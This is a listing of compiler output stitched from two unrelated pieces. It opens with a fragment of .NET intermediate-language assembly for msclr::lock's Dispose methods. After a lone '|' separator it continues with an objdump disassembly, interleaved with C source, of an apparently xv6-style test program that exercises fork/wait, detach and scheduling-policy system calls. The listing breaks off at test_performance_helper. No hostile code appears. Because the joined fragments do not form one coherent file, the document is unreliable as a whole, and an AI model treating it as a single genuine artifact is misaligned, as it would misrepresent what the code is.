.end ?<Dispose>@lock@msclr@@$$FM$AAMX_N@Z ; msclr::lock::<Dispose>
; .proc.end.void
; Function compile flags: /Ogtp
.text
.comdat any, ?<Dispose>@lock@msclr@@$$FU$AAMXXZ
.global ?<Dispose>@lock@msclr@@$$FU$AAMXXZ ; msclr::lock::<Dispose>
?<Dispose>@lock@msclr@@$$FU$AAMXXZ: ; msclr::lock::<Dispose>
; .proc.def D:V()
; Function Header:
; max stack depth = 2
; function size = 14 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
ldarg.0 ; _this$
ldc.i.1 1 ; u8 0x1
callvirt ?<Dispose>@lock@msclr@@$$FM$AAMX_N@Z
ldarg.0 ; _this$
call ?SuppressFinalize@GC@System@@$$FSMXP$AAVObject@2@@Z
ret
.end ?<Dispose>@lock@msclr@@$$FU$AAMXXZ ; msclr::lock::<Dispose>
; .proc.end.void
|
_test: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
return result;
}
int main(void) {
0: 55 push %ebp
run_test(&test_exit_wait, "exit&wait");
1: b8 88 10 00 00 mov $0x1088,%eax
int main(void) {
6: 89 e5 mov %esp,%ebp
8: 83 e4 f0 and $0xfffffff0,%esp
b: 83 ec 10 sub $0x10,%esp
run_test(&test_exit_wait, "exit&wait");
e: 89 44 24 04 mov %eax,0x4(%esp)
12: c7 04 24 f0 00 00 00 movl $0xf0,(%esp)
19: e8 92 02 00 00 call 2b0 <run_test>
run_test(&test_detach, "detach");
1e: ba 21 11 00 00 mov $0x1121,%edx
23: 89 54 24 04 mov %edx,0x4(%esp)
27: c7 04 24 90 01 00 00 movl $0x190,(%esp)
2e: e8 7d 02 00 00 call 2b0 <run_test>
run_test(&test_round_robin_policy, "round robin policy");
33: b9 28 11 00 00 mov $0x1128,%ecx
38: 89 4c 24 04 mov %ecx,0x4(%esp)
3c: c7 04 24 20 06 00 00 movl $0x620,(%esp)
43: e8 68 02 00 00 call 2b0 <run_test>
run_test(&test_priority_policy, "priority policy");
48: b8 44 11 00 00 mov $0x1144,%eax
4d: 89 44 24 04 mov %eax,0x4(%esp)
51: c7 04 24 40 06 00 00 movl $0x640,(%esp)
58: e8 53 02 00 00 call 2b0 <run_test>
run_test(&test_extended_priority_policy, "extended priority policy");
5d: b8 3b 11 00 00 mov $0x113b,%eax
62: 89 44 24 04 mov %eax,0x4(%esp)
66: c7 04 24 90 06 00 00 movl $0x690,(%esp)
6d: e8 3e 02 00 00 call 2b0 <run_test>
run_test(&test_accumulator, "accumulator");
72: b8 54 11 00 00 mov $0x1154,%eax
77: 89 44 24 04 mov %eax,0x4(%esp)
7b: c7 04 24 40 09 00 00 movl $0x940,(%esp)
82: e8 29 02 00 00 call 2b0 <run_test>
run_test(&test_starvation, "starvation");
87: b8 60 11 00 00 mov $0x1160,%eax
8c: 89 44 24 04 mov %eax,0x4(%esp)
90: c7 04 24 60 09 00 00 movl $0x960,(%esp)
97: e8 14 02 00 00 call 2b0 <run_test>
run_test(&test_performance_round_robin, "performance round robin");
9c: b8 6b 11 00 00 mov $0x116b,%eax
a1: 89 44 24 04 mov %eax,0x4(%esp)
a5: c7 04 24 90 07 00 00 movl $0x790,(%esp)
ac: e8 ff 01 00 00 call 2b0 <run_test>
run_test(&test_performance_priority, "performance priority");
b1: b8 83 11 00 00 mov $0x1183,%eax
b6: 89 44 24 04 mov %eax,0x4(%esp)
ba: c7 04 24 b0 07 00 00 movl $0x7b0,(%esp)
c1: e8 ea 01 00 00 call 2b0 <run_test>
run_test(&test_performance_extended_priority, "performance extended priority");
c6: ba 98 11 00 00 mov $0x1198,%edx
cb: 89 54 24 04 mov %edx,0x4(%esp)
cf: c7 04 24 f0 07 00 00 movl $0x7f0,(%esp)
d6: e8 d5 01 00 00 call 2b0 <run_test>
exit(0);
db: c7 04 24 00 00 00 00 movl $0x0,(%esp)
e2: e8 c1 0a 00 00 call ba8 <exit>
e7: 66 90 xchg %ax,%ax
e9: 66 90 xchg %ax,%ax
eb: 66 90 xchg %ax,%ax
ed: 66 90 xchg %ax,%ax
ef: 90 nop
000000f0 <test_exit_wait>:
boolean test_exit_wait() {
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 57 push %edi
f4: 56 push %esi
boolean result = true;
f5: be 01 00 00 00 mov $0x1,%esi
boolean test_exit_wait() {
fa: 53 push %ebx
for (int i = 0; i < 20; ++i) {
fb: 31 db xor %ebx,%ebx
boolean test_exit_wait() {
fd: 83 ec 3c sub $0x3c,%esp
wait(&status);
100: 8d 7d e4 lea -0x1c(%ebp),%edi
103: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pid = fork();
110: e8 8b 0a 00 00 call ba0 <fork>
if (pid > 0) {
115: 85 c0 test %eax,%eax
117: 7e 57 jle 170 <test_exit_wait+0x80>
wait(&status);
119: 89 3c 24 mov %edi,(%esp)
11c: e8 8f 0a 00 00 call bb0 <wait>
result = result && assert_equals(i, status, "exit&wait");
121: 85 f6 test %esi,%esi
123: 74 34 je 159 <test_exit_wait+0x69>
125: 8b 45 e4 mov -0x1c(%ebp),%eax
128: be 01 00 00 00 mov $0x1,%esi
if (expected != actual) {
12d: 39 d8 cmp %ebx,%eax
12f: 74 28 je 159 <test_exit_wait+0x69>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
131: 89 44 24 10 mov %eax,0x10(%esp)
135: ba b8 11 00 00 mov $0x11b8,%edx
13a: b8 88 10 00 00 mov $0x1088,%eax
13f: 89 5c 24 0c mov %ebx,0xc(%esp)
result = result && assert_equals(i, status, "exit&wait");
143: 31 f6 xor %esi,%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
145: 89 44 24 08 mov %eax,0x8(%esp)
149: 89 54 24 04 mov %edx,0x4(%esp)
14d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
154: e8 b7 0b 00 00 call d10 <printf>
for (int i = 0; i < 20; ++i) {
159: 43 inc %ebx
15a: 83 fb 14 cmp $0x14,%ebx
status = -1;
15d: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp)
for (int i = 0; i < 20; ++i) {
164: 75 aa jne 110 <test_exit_wait+0x20>
}
166: 83 c4 3c add $0x3c,%esp
169: 89 f0 mov %esi,%eax
16b: 5b pop %ebx
16c: 5e pop %esi
16d: 5f pop %edi
16e: 5d pop %ebp
16f: c3 ret
sleep(3);
170: c7 04 24 03 00 00 00 movl $0x3,(%esp)
177: e8 bc 0a 00 00 call c38 <sleep>
exit(i);
17c: 89 1c 24 mov %ebx,(%esp)
17f: e8 24 0a 00 00 call ba8 <exit>
184: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
18a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000190 <test_detach>:
boolean test_detach() {
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 56 push %esi
194: 53 push %ebx
195: 83 ec 20 sub $0x20,%esp
pid = fork();
198: e8 03 0a 00 00 call ba0 <fork>
if (pid > 0) {
19d: 85 c0 test %eax,%eax
19f: 0f 8e ea 00 00 00 jle 28f <test_detach+0xff>
status1 = detach(pid);
1a5: 89 04 24 mov %eax,(%esp)
1a8: 89 c3 mov %eax,%ebx
} else return true;
1aa: be 01 00 00 00 mov $0x1,%esi
status1 = detach(pid);
1af: e8 94 0a 00 00 call c48 <detach>
if (expected != actual) {
1b4: 85 c0 test %eax,%eax
1b6: 0f 85 a4 00 00 00 jne 260 <test_detach+0xd0>
status2 = detach(pid);
1bc: 89 1c 24 mov %ebx,(%esp)
1bf: e8 84 0a 00 00 call c48 <detach>
if (expected != actual) {
1c4: 83 f8 ff cmp $0xffffffff,%eax
1c7: 75 1f jne 1e8 <test_detach+0x58>
status3 = detach(-10);
1c9: c7 04 24 f6 ff ff ff movl $0xfffffff6,(%esp)
1d0: e8 73 0a 00 00 call c48 <detach>
if (expected != actual) {
1d5: 83 f8 ff cmp $0xffffffff,%eax
1d8: 75 4a jne 224 <test_detach+0x94>
}
1da: 83 c4 20 add $0x20,%esp
1dd: 89 f0 mov %esi,%eax
1df: 5b pop %ebx
1e0: 5e pop %esi
1e1: 5d pop %ebp
1e2: c3 ret
1e3: 90 nop
1e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
1e8: 89 44 24 10 mov %eax,0x10(%esp)
1ec: bb ff ff ff ff mov $0xffffffff,%ebx
1f1: b8 b8 11 00 00 mov $0x11b8,%eax
1f6: be a3 10 00 00 mov $0x10a3,%esi
1fb: 89 44 24 04 mov %eax,0x4(%esp)
1ff: 89 5c 24 0c mov %ebx,0xc(%esp)
203: 89 74 24 08 mov %esi,0x8(%esp)
207: c7 04 24 02 00 00 00 movl $0x2,(%esp)
20e: e8 fd 0a 00 00 call d10 <printf>
status3 = detach(-10);
213: c7 04 24 f6 ff ff ff movl $0xfffffff6,(%esp)
21a: e8 29 0a 00 00 call c48 <detach>
if (expected != actual) {
21f: 83 f8 ff cmp $0xffffffff,%eax
222: 74 2b je 24f <test_detach+0xbf>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
224: 89 44 24 10 mov %eax,0x10(%esp)
228: ba b4 10 00 00 mov $0x10b4,%edx
22d: b8 ff ff ff ff mov $0xffffffff,%eax
232: b9 b8 11 00 00 mov $0x11b8,%ecx
237: 89 44 24 0c mov %eax,0xc(%esp)
23b: 89 54 24 08 mov %edx,0x8(%esp)
23f: 89 4c 24 04 mov %ecx,0x4(%esp)
243: c7 04 24 02 00 00 00 movl $0x2,(%esp)
24a: e8 c1 0a 00 00 call d10 <printf>
}
24f: 83 c4 20 add $0x20,%esp
return result1 && result2 && result3;
252: 31 f6 xor %esi,%esi
}
254: 5b pop %ebx
255: 89 f0 mov %esi,%eax
257: 5e pop %esi
258: 5d pop %ebp
259: c3 ret
25a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
260: 89 44 24 10 mov %eax,0x10(%esp)
264: 31 c0 xor %eax,%eax
266: 31 f6 xor %esi,%esi
268: 89 44 24 0c mov %eax,0xc(%esp)
26c: b8 92 10 00 00 mov $0x1092,%eax
271: 89 44 24 08 mov %eax,0x8(%esp)
275: b8 b8 11 00 00 mov $0x11b8,%eax
27a: 89 44 24 04 mov %eax,0x4(%esp)
27e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
285: e8 86 0a 00 00 call d10 <printf>
28a: e9 2d ff ff ff jmp 1bc <test_detach+0x2c>
sleep(100);
28f: c7 04 24 64 00 00 00 movl $0x64,(%esp)
296: e8 9d 09 00 00 call c38 <sleep>
exit(0);
29b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2a2: e8 01 09 00 00 call ba8 <exit>
2a7: 89 f6 mov %esi,%esi
2a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002b0 <run_test>:
void run_test(test_runner *test, char *name) {
2b0: 55 push %ebp
printf(1, "========== Test - %s: Begin ==========\n", name);
2b1: b9 e4 11 00 00 mov $0x11e4,%ecx
void run_test(test_runner *test, char *name) {
2b6: 89 e5 mov %esp,%ebp
2b8: 53 push %ebx
2b9: 83 ec 14 sub $0x14,%esp
2bc: 8b 5d 0c mov 0xc(%ebp),%ebx
printf(1, "========== Test - %s: Begin ==========\n", name);
2bf: 89 4c 24 04 mov %ecx,0x4(%esp)
2c3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ca: 89 5c 24 08 mov %ebx,0x8(%esp)
2ce: e8 3d 0a 00 00 call d10 <printf>
boolean result = (*test)();
2d3: ff 55 08 call *0x8(%ebp)
printf(1, "========== Test - %s: Passed ==========\n", name);
2d6: 89 5c 24 08 mov %ebx,0x8(%esp)
if (result) {
2da: 85 c0 test %eax,%eax
2dc: 75 22 jne 300 <run_test+0x50>
printf(1, "========== Test - %s: Failed ==========\n", name);
2de: b8 38 12 00 00 mov $0x1238,%eax
2e3: 89 44 24 04 mov %eax,0x4(%esp)
2e7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ee: e8 1d 0a 00 00 call d10 <printf>
}
2f3: 83 c4 14 add $0x14,%esp
2f6: 5b pop %ebx
2f7: 5d pop %ebp
2f8: c3 ret
2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(1, "========== Test - %s: Passed ==========\n", name);
300: ba 0c 12 00 00 mov $0x120c,%edx
305: 89 54 24 04 mov %edx,0x4(%esp)
309: c7 04 24 01 00 00 00 movl $0x1,(%esp)
310: e8 fb 09 00 00 call d10 <printf>
}
315: 83 c4 14 add $0x14,%esp
318: 5b pop %ebx
319: 5d pop %ebp
31a: c3 ret
31b: 90 nop
31c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000320 <assert_equals>:
boolean assert_equals(int expected, int actual, char *msg) {
320: 55 push %ebp
321: b8 01 00 00 00 mov $0x1,%eax
326: 89 e5 mov %esp,%ebp
328: 83 ec 28 sub $0x28,%esp
32b: 8b 55 08 mov 0x8(%ebp),%edx
32e: 8b 4d 0c mov 0xc(%ebp),%ecx
if (expected != actual) {
331: 39 ca cmp %ecx,%edx
333: 74 26 je 35b <assert_equals+0x3b>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
335: 8b 45 10 mov 0x10(%ebp),%eax
338: 89 4c 24 10 mov %ecx,0x10(%esp)
33c: 89 54 24 0c mov %edx,0xc(%esp)
340: c7 04 24 02 00 00 00 movl $0x2,(%esp)
347: 89 44 24 08 mov %eax,0x8(%esp)
34b: b8 b8 11 00 00 mov $0x11b8,%eax
350: 89 44 24 04 mov %eax,0x4(%esp)
354: e8 b7 09 00 00 call d10 <printf>
359: 31 c0 xor %eax,%eax
}
35b: c9 leave
35c: c3 ret
35d: 8d 76 00 lea 0x0(%esi),%esi
00000360 <print_perf>:
void print_perf(struct perf *performance) {
360: 55 push %ebp
printf(1, "pref:\n");
361: b8 c5 10 00 00 mov $0x10c5,%eax
void print_perf(struct perf *performance) {
366: 89 e5 mov %esp,%ebp
368: 53 push %ebx
369: 83 ec 14 sub $0x14,%esp
36c: 8b 5d 08 mov 0x8(%ebp),%ebx
printf(1, "pref:\n");
36f: 89 44 24 04 mov %eax,0x4(%esp)
373: c7 04 24 01 00 00 00 movl $0x1,(%esp)
37a: e8 91 09 00 00 call d10 <printf>
printf(1, "\tctime: %d\n", performance->ctime);
37f: ba cc 10 00 00 mov $0x10cc,%edx
384: 8b 03 mov (%ebx),%eax
386: 89 54 24 04 mov %edx,0x4(%esp)
38a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
391: 89 44 24 08 mov %eax,0x8(%esp)
395: e8 76 09 00 00 call d10 <printf>
printf(1, "\tttime: %d\n", performance->ttime);
39a: 8b 43 04 mov 0x4(%ebx),%eax
39d: b9 d8 10 00 00 mov $0x10d8,%ecx
3a2: 89 4c 24 04 mov %ecx,0x4(%esp)
3a6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3ad: 89 44 24 08 mov %eax,0x8(%esp)
3b1: e8 5a 09 00 00 call d10 <printf>
printf(1, "\tstime: %d\n", performance->stime);
3b6: 8b 43 08 mov 0x8(%ebx),%eax
3b9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3c0: 89 44 24 08 mov %eax,0x8(%esp)
3c4: b8 e4 10 00 00 mov $0x10e4,%eax
3c9: 89 44 24 04 mov %eax,0x4(%esp)
3cd: e8 3e 09 00 00 call d10 <printf>
printf(1, "\tretime: %d\n", performance->retime);
3d2: 8b 43 0c mov 0xc(%ebx),%eax
3d5: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3dc: 89 44 24 08 mov %eax,0x8(%esp)
3e0: b8 f0 10 00 00 mov $0x10f0,%eax
3e5: 89 44 24 04 mov %eax,0x4(%esp)
3e9: e8 22 09 00 00 call d10 <printf>
printf(1, "\trutime: %d\n", performance->rutime);
3ee: 8b 43 10 mov 0x10(%ebx),%eax
3f1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3f8: 89 44 24 08 mov %eax,0x8(%esp)
3fc: b8 fd 10 00 00 mov $0x10fd,%eax
401: 89 44 24 04 mov %eax,0x4(%esp)
405: e8 06 09 00 00 call d10 <printf>
printf(1, "\n\tTurnaround time: %d\n", (performance->ttime - performance->ctime));
40a: 8b 43 04 mov 0x4(%ebx),%eax
40d: b9 0a 11 00 00 mov $0x110a,%ecx
412: 8b 13 mov (%ebx),%edx
414: 89 4c 24 04 mov %ecx,0x4(%esp)
418: c7 04 24 01 00 00 00 movl $0x1,(%esp)
41f: 29 d0 sub %edx,%eax
421: 89 44 24 08 mov %eax,0x8(%esp)
425: e8 e6 08 00 00 call d10 <printf>
}
42a: 83 c4 14 add $0x14,%esp
42d: 5b pop %ebx
42e: 5d pop %ebp
42f: c3 ret
00000430 <fact>:
int fact(int n) {
430: 55 push %ebp
}
431: 31 c0 xor %eax,%eax
int fact(int n) {
433: 89 e5 mov %esp,%ebp
}
435: 5d pop %ebp
436: c3 ret
437: 89 f6 mov %esi,%esi
439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000440 <fact2>:
unsigned long long fact2(unsigned long long n, unsigned long long k) {
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
445: 53 push %ebx
446: 83 ec 0c sub $0xc,%esp
449: 8b 45 10 mov 0x10(%ebp),%eax
44c: 8b 55 14 mov 0x14(%ebp),%edx
44f: 8b 4d 08 mov 0x8(%ebp),%ecx
452: 8b 5d 0c mov 0xc(%ebp),%ebx
455: 89 45 e8 mov %eax,-0x18(%ebp)
458: 89 55 ec mov %edx,-0x14(%ebp)
45b: eb 25 jmp 482 <fact2+0x42>
45d: 8d 76 00 lea 0x0(%esi),%esi
k = k * n;
460: 8b 75 ec mov -0x14(%ebp),%esi
--n;
463: 83 c1 ff add $0xffffffff,%ecx
k = k * n;
466: 8b 55 e8 mov -0x18(%ebp),%edx
--n;
469: 83 d3 ff adc $0xffffffff,%ebx
k = k * n;
46c: 8b 45 e8 mov -0x18(%ebp),%eax
46f: 0f af f1 imul %ecx,%esi
472: 0f af d3 imul %ebx,%edx
475: 01 d6 add %edx,%esi
477: f7 e1 mul %ecx
479: 89 55 ec mov %edx,-0x14(%ebp)
47c: 01 75 ec add %esi,-0x14(%ebp)
47f: 89 45 e8 mov %eax,-0x18(%ebp)
if (n == 1) {
482: 89 ce mov %ecx,%esi
484: 89 df mov %ebx,%edi
486: 83 f6 01 xor $0x1,%esi
489: 09 f7 or %esi,%edi
48b: 75 d3 jne 460 <fact2+0x20>
}
48d: 8b 45 e8 mov -0x18(%ebp),%eax
490: 8b 55 ec mov -0x14(%ebp),%edx
493: 83 c4 0c add $0xc,%esp
496: 5b pop %ebx
497: 5e pop %esi
498: 5f pop %edi
499: 5d pop %ebp
49a: c3 ret
49b: 90 nop
49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004a0 <fib>:
int fib(int n) {
4a0: 55 push %ebp
4a1: 89 e5 mov %esp,%ebp
4a3: 83 ec 28 sub $0x28,%esp
4a6: 89 5d f4 mov %ebx,-0xc(%ebp)
4a9: 8b 5d 08 mov 0x8(%ebp),%ebx
4ac: 89 75 f8 mov %esi,-0x8(%ebp)
4af: 89 7d fc mov %edi,-0x4(%ebp)
if (!n)
4b2: 85 db test %ebx,%ebx
4b4: 74 2a je 4e0 <fib+0x40>
4b6: 4b dec %ebx
4b7: bf ff ff ff ff mov $0xffffffff,%edi
4bc: 31 f6 xor %esi,%esi
return fib(n - 1) + fib(n - 2);
4be: 89 1c 24 mov %ebx,(%esp)
4c1: 83 eb 02 sub $0x2,%ebx
4c4: e8 d7 ff ff ff call 4a0 <fib>
4c9: 01 c6 add %eax,%esi
if (!n)
4cb: 39 fb cmp %edi,%ebx
4cd: 75 ef jne 4be <fib+0x1e>
4cf: 8d 46 01 lea 0x1(%esi),%eax
}
4d2: 8b 5d f4 mov -0xc(%ebp),%ebx
4d5: 8b 75 f8 mov -0x8(%ebp),%esi
4d8: 8b 7d fc mov -0x4(%ebp),%edi
4db: 89 ec mov %ebp,%esp
4dd: 5d pop %ebp
4de: c3 ret
4df: 90 nop
4e0: 8b 5d f4 mov -0xc(%ebp),%ebx
if (!n)
4e3: b8 01 00 00 00 mov $0x1,%eax
}
4e8: 8b 75 f8 mov -0x8(%ebp),%esi
4eb: 8b 7d fc mov -0x4(%ebp),%edi
4ee: 89 ec mov %ebp,%esp
4f0: 5d pop %ebp
4f1: c3 ret
4f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000500 <test_policy_helper>:
boolean test_policy_helper(int *priority_mod, int policy) {
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 53 push %ebx
for (int i = 0; i < nProcs; ++i) {
506: 31 db xor %ebx,%ebx
boolean test_policy_helper(int *priority_mod, int policy) {
508: 83 ec 4c sub $0x4c,%esp
50b: eb 0f jmp 51c <test_policy_helper+0x1c>
50d: 8d 76 00 lea 0x0(%esi),%esi
} else if (pid == 0) {
510: 0f 84 b6 00 00 00 je 5cc <test_policy_helper+0xcc>
for (int i = 0; i < nProcs; ++i) {
516: 43 inc %ebx
517: 83 fb 64 cmp $0x64,%ebx
51a: 74 0d je 529 <test_policy_helper+0x29>
51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pid = fork();
520: e8 7b 06 00 00 call ba0 <fork>
if (pid < 0) {
525: 85 c0 test %eax,%eax
527: 79 e7 jns 510 <test_policy_helper+0x10>
529: 31 f6 xor %esi,%esi
52b: ba 01 00 00 00 mov $0x1,%edx
530: 8d 7d e4 lea -0x1c(%ebp),%edi
533: eb 0b jmp 540 <test_policy_helper+0x40>
for (int j = 0; j < nProcs; ++j) {
535: 83 fb 64 cmp $0x64,%ebx
538: 89 de mov %ebx,%esi
53a: 74 74 je 5b0 <test_policy_helper+0xb0>
53c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
wait(&status);
540: 89 3c 24 mov %edi,(%esp)
543: 8d 5e 01 lea 0x1(%esi),%ebx
546: 89 55 d4 mov %edx,-0x2c(%ebp)
549: e8 62 06 00 00 call bb0 <wait>
result = result && assert_equals(0, status, "round robin");
54e: 8b 55 d4 mov -0x2c(%ebp),%edx
551: 85 d2 test %edx,%edx
553: 74 44 je 599 <test_policy_helper+0x99>
555: 8b 45 e4 mov -0x1c(%ebp),%eax
558: ba 01 00 00 00 mov $0x1,%edx
if (expected != actual) {
55d: 85 c0 test %eax,%eax
55f: 74 d4 je 535 <test_policy_helper+0x35>
printf(2, "Assert %s failed: expected %d but got %d\n", msg, expected, actual);
561: 89 44 24 10 mov %eax,0x10(%esp)
565: ba 77 11 00 00 mov $0x1177,%edx
56a: 31 c0 xor %eax,%eax
56c: b9 b8 11 00 00 mov $0x11b8,%ecx
571: 89 44 24 0c mov %eax,0xc(%esp)
575: 89 54 24 08 mov %edx,0x8(%esp)
579: 89 4c 24 04 mov %ecx,0x4(%esp)
57d: c7 04 24 02 00 00 00 movl $0x2,(%esp)
584: e8 87 07 00 00 call d10 <printf>
for (int j = 0; j < nProcs; ++j) {
589: 83 fb 64 cmp $0x64,%ebx
58c: 74 32 je 5c0 <test_policy_helper+0xc0>
wait(&status);
58e: 89 3c 24 mov %edi,(%esp)
591: 8d 5e 02 lea 0x2(%esi),%ebx
594: e8 17 06 00 00 call bb0 <wait>
for (int j = 0; j < nProcs; ++j) {
599: 83 fb 64 cmp $0x64,%ebx
59c: 74 22 je 5c0 <test_policy_helper+0xc0>
59e: 43 inc %ebx
wait(&status);
59f: 89 3c 24 mov %edi,(%esp)
5a2: 89 de mov %ebx,%esi
5a4: e8 07 06 00 00 call bb0 <wait>
result = result && assert_equals(0, status, "round robin");
5a9: 31 d2 xor %edx,%edx
for (int j = 0; j < nProcs; ++j) {
5ab: 83 fb 64 cmp $0x64,%ebx
5ae: 75 90 jne 540 <test_policy_helper+0x40>
}
5b0: 83 c4 4c add $0x4c,%esp
5b3: 89 d0 mov %edx,%eax
5b5: 5b pop %ebx
5b6: 5e pop %esi
5b7: 5f pop %edi
5b8: 5d pop %ebp
5b9: c3 ret
5ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
5c0: 83 c4 4c add $0x4c,%esp
result = result && assert_equals(0, status, "round robin");
5c3: 31 d2 xor %edx,%edx
}
5c5: 5b pop %ebx
5c6: 89 d0 mov %edx,%eax
5c8: 5e pop %esi
5c9: 5f pop %edi
5ca: 5d pop %ebp
5cb: c3 ret
if (priority_mod) {
5cc: 8b 75 08 mov 0x8(%ebp),%esi
5cf: 85 f6 test %esi,%esi
5d1: 74 1a je 5ed <test_policy_helper+0xed>
if ((i % *(priority_mod)) == 0 && policy == PRIORITY) {
5d3: 8b 4d 08 mov 0x8(%ebp),%ecx
5d6: 89 d8 mov %ebx,%eax
5d8: 99 cltd
5d9: f7 39 idivl (%ecx)
5db: 85 d2 test %edx,%edx
5dd: 75 06 jne 5e5 <test_policy_helper+0xe5>
5df: 83 7d 0c 02 cmpl $0x2,0xc(%ebp)
5e3: 74 20 je 605 <test_policy_helper+0x105>
priority(i % (*priority_mod));
5e5: 89 14 24 mov %edx,(%esp)
5e8: e8 6b 06 00 00 call c58 <priority>
sleep(10);
5ed: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
5f4: e8 3f 06 00 00 call c38 <sleep>
exit(0);
5f9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
600: e8 a3 05 00 00 call ba8 <exit>
priority(1);
605: c7 04 24 01 00 00 00 movl $0x1,(%esp)
60c: e8 47 06 00 00 call c58 <priority>
611: eb da jmp 5ed <test_policy_helper+0xed>
613: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000620 <test_round_robin_policy>:
boolean test_round_robin_policy() {
620: 55 push %ebp
return test_policy_helper(null, null);
621: 31 c0 xor %eax,%eax
boolean test_round_robin_policy() {
623: 89 e5 mov %esp,%ebp
625: 83 ec 18 sub $0x18,%esp
return test_policy_helper(null, null);
628: 89 44 24 04 mov %eax,0x4(%esp)
62c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
633: e8 c8 fe ff ff call 500 <test_policy_helper>
}
638: c9 leave
639: c3 ret
63a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00000640 <test_priority_policy>:
boolean test_priority_policy() {
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 83 ec 38 sub $0x38,%esp
policy(PRIORITY);
646: c7 04 24 02 00 00 00 movl $0x2,(%esp)
int priority_mod = 10;
64d: c7 45 f4 0a 00 00 00 movl $0xa,-0xc(%ebp)
policy(PRIORITY);
654: e8 f7 05 00 00 call c50 <policy>
boolean result = test_policy_helper(&priority_mod, PRIORITY);
659: b8 02 00 00 00 mov $0x2,%eax
65e: 89 44 24 04 mov %eax,0x4(%esp)
662: 8d 45 f4 lea -0xc(%ebp),%eax
665: 89 04 24 mov %eax,(%esp)
668: e8 93 fe ff ff call 500 <test_policy_helper>
policy(ROUND_ROBIN);
66d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_policy_helper(&priority_mod, PRIORITY);
674: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
677: e8 d4 05 00 00 call c50 <policy>
}
67c: 8b 45 e4 mov -0x1c(%ebp),%eax
67f: c9 leave
680: c3 ret
681: eb 0d jmp 690 <test_extended_priority_policy>
683: 90 nop
684: 90 nop
685: 90 nop
686: 90 nop
687: 90 nop
688: 90 nop
689: 90 nop
68a: 90 nop
68b: 90 nop
68c: 90 nop
68d: 90 nop
68e: 90 nop
68f: 90 nop
00000690 <test_extended_priority_policy>:
boolean test_extended_priority_policy() {
690: 55 push %ebp
691: 89 e5 mov %esp,%ebp
693: 83 ec 38 sub $0x38,%esp
policy(EXTENED_PRIORITY);
696: c7 04 24 03 00 00 00 movl $0x3,(%esp)
int priority_mod = 10;
69d: c7 45 f4 0a 00 00 00 movl $0xa,-0xc(%ebp)
policy(EXTENED_PRIORITY);
6a4: e8 a7 05 00 00 call c50 <policy>
boolean result = test_policy_helper(&priority_mod, EXTENED_PRIORITY);
6a9: b8 03 00 00 00 mov $0x3,%eax
6ae: 89 44 24 04 mov %eax,0x4(%esp)
6b2: 8d 45 f4 lea -0xc(%ebp),%eax
6b5: 89 04 24 mov %eax,(%esp)
6b8: e8 43 fe ff ff call 500 <test_policy_helper>
policy(ROUND_ROBIN);
6bd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
boolean result = test_policy_helper(&priority_mod, EXTENED_PRIORITY);
6c4: 89 45 e4 mov %eax,-0x1c(%ebp)
policy(ROUND_ROBIN);
6c7: e8 84 05 00 00 call c50 <policy>
}
6cc: 8b 45 e4 mov -0x1c(%ebp),%eax
6cf: c9 leave
6d0: c3 ret
6d1: eb 0d jmp 6e0 <test_performance_helper>
6d3: 90 nop
6d4: 90 nop
6d5: 90 nop
6d6: 90 nop
6d7: 90 nop
6d8: 90 nop
6d9: 90 nop
6da: 90 nop
6db: 90 nop
6dc: 90 nop
6dd: 90 nop
6de: 90 nop
6df: 90 nop
000006e0 <test_performance_helper>:
